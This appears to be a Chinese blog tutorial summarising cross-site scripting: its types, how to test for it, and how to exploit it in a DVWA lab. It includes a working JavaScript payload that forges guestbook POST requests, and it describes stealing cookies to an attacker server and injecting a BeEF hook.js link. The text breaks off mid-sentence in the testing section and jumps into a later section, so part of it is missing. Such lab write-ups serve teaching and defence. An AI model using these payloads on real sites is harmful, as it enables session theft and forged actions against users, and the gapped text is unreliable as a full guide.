XSS知识大总结

XSS-即Cross Site Scripting. 为了与"CSS"不混淆,故简称XSS.

XSS知识大总结_第1张图片
Hacker

一、XSS形成原理及分类

  • XSS本质:系统将用户输入的脚本代码(JS, Flash script)执行了,违背了原本接收数据的本意。从而造成了一些违背系统愿意的后果。
  • XSS根本原因:系统没有对用户输入数据进行编码,转义,过滤限制等处理。
  • XSS三类:
    先说下浏览器与服务器架构层次:***User - IE(Chrome) - Java/PHP/Python - DB ***
    • 反射型非持久型,在上面的四层架构中,用户使用浏览器,然后浏览器发送请求到服务器后台的Java或者PHP,或者Python,然后服务器逻辑程序返回响应结果,传送到客户端浏览器显示。
    • 存储型持久型,在上面四层架构中,用户使用浏览器发送请求到服务器,应用逻辑向数据库存取数据,(XSS代码存储在DB中),再经过应用程序发送响应传送到浏览器显示。
    • DOM-Based型非持久型,在上面的四层架构中,只涉及用户浏览器,变化只发生在客户端的JS与HTML之间。不涉及服务器交互。

二、XSS如何测试

因为XSS形成的原因是系统未对用户输入数据进行处理,直接记录在系统内,又因为前端代码在浏览器可见,所以应该很容易想到直接输入特殊字符“<'>/"&”,然后查看网页源代码,看自己输入的字符显示的是否是经过处理后的。如果没有转义,编码,那么可以断定该页面存在XSS漏洞。
之所以测试这6个字符是否被编码,是因为这6个字符如果未被编码,未被转义,那么系统就很容易存在html标签被闭合,插入类似“

  • 当然cookie获取需要自己在服务器接受数据,开启路径接收请求:


    XSS知识大总结_第2张图片
    后台接收路径

    接收结果:


    XSS知识大总结_第3张图片
    cookie窃取结果
  • (2)伪造请求,用JS模拟用户发送post/get请求,自动删除信息,自动发消息等;
    "Code目录127.0.0.1/evil/hack_post.js" :

var url = "http://127.0.0.1/dvwa/vulnerabilities/xss_s/"
var postdata = "txtName=Hacker&mtxMessage=Hacker+is+coming,+I+am+Liuning.&btnSign=Sign+Guestbook";  // post数据格式与get一样

var xmlhttp = null;
if(window.XMLHttpRequest){
    xmlhttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if(xmlhttp!=null){
    xmlhttp.open("POST", url, true)
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
    xmlhttp.send(postdata)
}
else{
    alert("Your browser dosn't support XMLHttpRequest.")
}
xmlhttp.onreadystatechange = function(){
    if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
        alert("Hack 2 success!");
    }
}

面板注入代码:

XSS知识大总结_第4张图片
注入XSS

刷新结果:注入成功!
XSS知识大总结_第5张图片
post请求伪造,每次刷新弹出success,多条记录

  • (3)钓鱼:(用一个假页面或弹窗伪造真实应用,欺骗用户账号密码)

五、XSS利用工具:BEFF,POC

Beff相关内容可以安装Kali(Debian发行版)系统,一应相关安全利用工具都随系统安装完善。
Kali系统的相关工具类似Beff,提供的是现成的XSS脚本,如默认的"127.0.0.1:3000/hook.js",直接将这个链接注入到面板中就好。即工具的作用是不用自己写注入脚本(Payload)了。

2016.10.28 晚 上海

你可能感兴趣的:(XSS知识大总结)